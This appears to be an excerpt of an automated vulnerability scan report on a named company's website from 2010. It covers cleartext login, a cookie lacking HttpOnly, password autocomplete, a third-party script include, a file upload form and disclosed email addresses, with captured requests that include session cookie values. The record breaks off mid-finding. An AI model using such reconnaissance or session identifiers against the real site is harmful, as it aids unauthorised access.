Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defense and monitor the traffic passing through switches.

Issue remediation

The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.

Request

GET /Timesheet/ HTTP/1.1
Host: www.cendyn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF; __utmb=91042184.1.10.1285766082;

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 1780
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 15:32:17 GMT
Connection: close


<SCRIPT LANGUAGE="JavaScript">
function popUp(URL) {
day = new Date();
id = day.getTime();
eval("page" + id + " = window.open(URL, '" + id + "', 'toolbar=0,scrollbars=0,location=0,statusbar=0,me
...[SNIP]...
<b>
<form action="index.asp" method="POST">
<table width=500 class=table>
...[SNIP]...
<td><input NAME="userPassword" type="password" size="20" value=""></td>
...[SNIP]...
4. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.cendyn.com
Path:   /index_3.asp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /index_3.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www.cendyn.com

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 8101
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Set-Cookie: ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF; path=/
Date: Wed, 29 Sep 2010 13:14:36 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta name="google-site-verification" content="NSqEw92EUT7CMazj98QMnorXddcqTB08e
...[SNIP]...
5. Password field with autocomplete enabled  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Timesheet/

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

Request

GET /Timesheet/ HTTP/1.1
Host: www.cendyn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF; __utmb=91042184.1.10.1285766082;

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 1780
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 15:32:17 GMT
Connection: close


<SCRIPT LANGUAGE="JavaScript">
function popUp(URL) {
day = new Date();
id = day.getTime();
eval("page" + id + " = window.open(URL, '" + id + "', 'toolbar=0,scrollbars=0,location=0,statusbar=0,me
...[SNIP]...
<b>
<form action="index.asp" method="POST">
<table width=500 class=table>
...[SNIP]...
<td><input NAME="userPassword" type="password" size="20" value=""></td>
...[SNIP]...
6. Cross-domain script include  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /index_3.asp

Issue detail

The response dynamically includes the following script from another domain:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET /index_3.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www.cendyn.com

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 8101
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Set-Cookie: ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF; path=/
Date: Wed, 29 Sep 2010 13:14:36 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta name="google-site-verification" content="NSqEw92EUT7CMazj98QMnorXddcqTB08e
...[SNIP]...
</script>
<script type="text/javascript" src="http://cendyn.adtrack.calls.net/euinc/number-changer.js">
</script>
...[SNIP]...
7. File upload functionality  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/careers.asp

Issue detail

The page contains a form which is used to submit a user-supplied file to the following URL:Note that Burp has not identified any specific security vulnerabilities with this functionality, and you should manually review it to determine whether any problems exist.

Issue background

File upload functionality is commonly associated with a number of vulnerabilities, including:You should review the file upload functionality to understand its purpose, and establish whether uploaded content is ever returned to other application users, either through their normal usage of the application or by being fed a specific link by an attacker.

Some factors to consider when evaluating the security impact of this functionality include:

Issue remediation

File upload functionality is not straightforward to implement securely. Some recommendations to consider in the design of this functionality include:

Request

GET /Profile/careers.asp HTTP/1.1
Accept: */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www.cendyn.com
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 12381
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 15:32:17 GMT


<HTML>
<HEAD>

<title>Top Hotel Website Design Company: Cendyn Internet Marketing Online Advertising Agency Resort Casino Conference Center CVB Hospitality Tourism Travel Restaurants Search Engin
...[SNIP]...
<td class="bodytext"><input name="Resume" type="file" class="inputfields" size="20"></td>
...[SNIP]...
8. Email addresses disclosed  previous  next
There are 18 instances of this issue:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

8.1. http://www.cendyn.com/Profile/careers.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/careers.asp

Issue detail

The following email address was disclosed in the response:

Request

GET /Profile/careers.asp HTTP/1.1
Accept: */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www.cendyn.com
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 12381
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 15:32:17 GMT


<HTML>
<HEAD>

<title>Top Hotel Website Design Company: Cendyn Internet Marketing Online Advertising Agency Resort Casino Conference Center CVB Hospitality Tourism Travel Restaurants Search Engin
...[SNIP]...
<a href="mailto: info@cendyn.com">info@cendyn.com</a>
...[SNIP]...
8.2. http://www.cendyn.com/Profile/eFacetime.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/eFacetime.asp

Issue detail

The following email address was disclosed in the response:

Request

GET /Profile/eFacetime.asp HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 9927
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:16:17 GMT

<H&trade;L><HEAD>

<title>eFacetime&trade; - Video Introduction Dales Tool</title>

<meta http-equiv="keywords" content="Online, Electronic, Brochures, Cendyn, Internet, Marketing, Online, Adverti
...[SNIP]...
<a href="mailto: info@cendyn.com">info@cendyn.com</a>
...[SNIP]...
8.3. http://www.cendyn.com/Profile/eFolio.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/eFolio.asp

Issue detail

The following email address was disclosed in the response:

Request

GET /Profile/eFolio.asp HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 8840
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:16:06 GMT

<HTML>
<HEAD>

<title>Group Meeting Sales Proposal Response Tools: Cendyn Internet Marketing Online Advertising Agency Hotel Resort Casino Conference Center CVB Hospitality Tourism Travel Restauran
...[SNIP]...
<a href="mailto: info@cendyn.com">info@cendyn.com</a>
...[SNIP]...
8.4. http://www.cendyn.com/Profile/ePlanner.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/ePlanner.asp

Issue detail

The following email address was disclosed in the response:

Request

GET /Profile/ePlanner.asp HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 10081
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:16:20 GMT

<H&trade;L>
<HEAD>

<title>Online Electronic Brochures: Cendyn Internet Marketing Online Advertising Agency Hotel Resort Casino Conference Center CVB Hospitality Tourism Travel Restaurants Website
...[SNIP]...
<a href="mailto: info@cendyn.com">info@cendyn.com</a>
...[SNIP]...
8.5. http://www.cendyn.com/Profile/eRetrieval.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/eRetrieval.asp

Issue detail

The following email address was disclosed in the response:

Request

GET /Profile/eRetrieval.asp HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF; __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmc=91042184; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 8862
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:16:10 GMT

<HTML>
<HEAD>

<title>Group Meeting Sales Proposal Response Tools: Cendyn Internet Marketing Online Advertising Agency Hotel Resort Casino Conference Center CVB Hospitality Tourism Travel Restauran
...[SNIP]...
<a href="mailto: info@cendyn.com">info@cendyn.com</a>
...[SNIP]...
8.6. http://www.cendyn.com/Profile/ebooker.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/ebooker.asp

Issue detail

The following email address was disclosed in the response:

Request

GET /Profile/ebooker.asp HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 10564
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:16:08 GMT


<HEAD>

<title>Hotel Reservation Booking Engine: Cendyn Internet Marketing Online Advertising Agency Hotel Resort Casino Conference Center CVB Hospitality Tourism Travel Restaurants Website Design
...[SNIP]...
<a href="mailto: info@cendyn.com">info@cendyn.com</a>
...[SNIP]...
8.7. http://www.cendyn.com/Profile/ebrochure.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/ebrochure.asp

Issue detail

The following email address was disclosed in the response:

Request

GET /Profile/ebrochure.asp HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 11159
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:16:22 GMT

<H&trade;L>
<HEAD>

<title>Online Electronic Brochures: Cendyn Internet Marketing Online Advertising Agency Hotel Resort Casino Conference Center CVB Hospitality Tourism Travel Restaurants Website
...[SNIP]...
<a href="mailto: info@cendyn.com">info@cendyn.com</a>
...[SNIP]...
8.8. http://www.cendyn.com/Profile/egiftcards.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/egiftcards.asp

Issue detail

The following email address was disclosed in the response:

Request

GET /Profile/egiftcards.asp HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 10655
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:16:15 GMT

<HTML>
<HEAD>

<title>Full Service Electronic Marketing - Cendyn</title>
<meta http-equiv="keywords" content="Full, Service, Electronic, Marketing, Cendyn">
<meta http-equiv="description" content
...[SNIP]...
<a href="mailto: info@cendyn.com">info@cendyn.com</a>
...[SNIP]...
8.9. http://www.cendyn.com/Profile/einsight.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/einsight.asp

Issue detail

The following email address was disclosed in the response:

Request

GET /Profile/einsight.asp HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF; __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmc=91042184; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 10784
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:37:03 GMT

<HTML>
<HEAD>

<title>Hotel eMail Contact Database Management: Cendyn Internet Marketing Online Advertising Agency Hotel Resort Casino Conference Center CVB Hospitality Tourism Travel Restaurants W
...[SNIP]...
<a href="mailto: info@cendyn.com">info@cendyn.com</a>
...[SNIP]...
8.10. http://www.cendyn.com/Profile/emenus.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/emenus.asp

Issue detail

The following email address was disclosed in the response:

Request

GET /Profile/emenus.asp HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 11874
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:16:19 GMT

<HTML>
<HEAD>

<title>Restaurant Catering Menu Proposal System: Cendyn Internet Marketing Online Advertising Agency Hotel Resort Casino Conference Center CVB Hospitality Tourism Travel Restaurants
...[SNIP]...
<a href="mailto: info@cendyn.com">info@cendyn.com</a>
...[SNIP]...
8.11. http://www.cendyn.com/Profile/eproposal.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/eproposal.asp

Issue detail

The following email address was disclosed in the response:

Request

GET /Profile/eproposal.asp HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 11209
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:16:17 GMT

<HTML>
<HEAD>

<title>Group Meeting Sales Proposal Response Tools: Cendyn Internet Marketing Online Advertising Agency Hotel Resort Casino Conference Center CVB Hospitality Tourism Travel Restauran
...[SNIP]...
<a href="mailto: info@cendyn.com">info@cendyn.com</a>
...[SNIP]...
8.12. http://www.cendyn.com/Profile/fact.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/fact.asp

Issue detail

The following email address was disclosed in the response:

Request

GET /Profile/fact.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF; __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmc=91042184; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 12211
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:16:27 GMT


<HEAD>

<title>Top Online Marketing Agency: Cendyn Internet Advertising Hotel Resort Casino Conference Center CVB Hospitality Tourism Travel Restaurants Website Design Search Engine SEO</title>
<
...[SNIP]...
<a href="mailto:info@cendyn.com">info@cendyn.com</a>
...[SNIP]...
<a href="mailto: info@cendyn.com">info@cendyn.com</a>
...[SNIP]...
8.13. http://www.cendyn.com/Profile/givingback.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/givingback.asp

Issue detail

The following email address was disclosed in the response:

Request

GET /Profile/givingback.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.cendyn.com/Profile/fact.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF; __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmc=91042184; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 7919
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:28:11 GMT

<HTML>
<HEAD>

<title>CVB Conference Center Advertising Agency: Cendyn Internet Marketing Online Hotel Resort Casino Hospitality Tourism Travel Restaurants Website Design Search Engine SEO</title>
...[SNIP]...
<a href="mailto: info@cendyn.com">info@cendyn.com</a>
...[SNIP]...
8.14. http://www.cendyn.com/Profile/index.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/index.asp

Issue detail

The following email address was disclosed in the response:

Request

GET /Profile/index.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www.cendyn.com
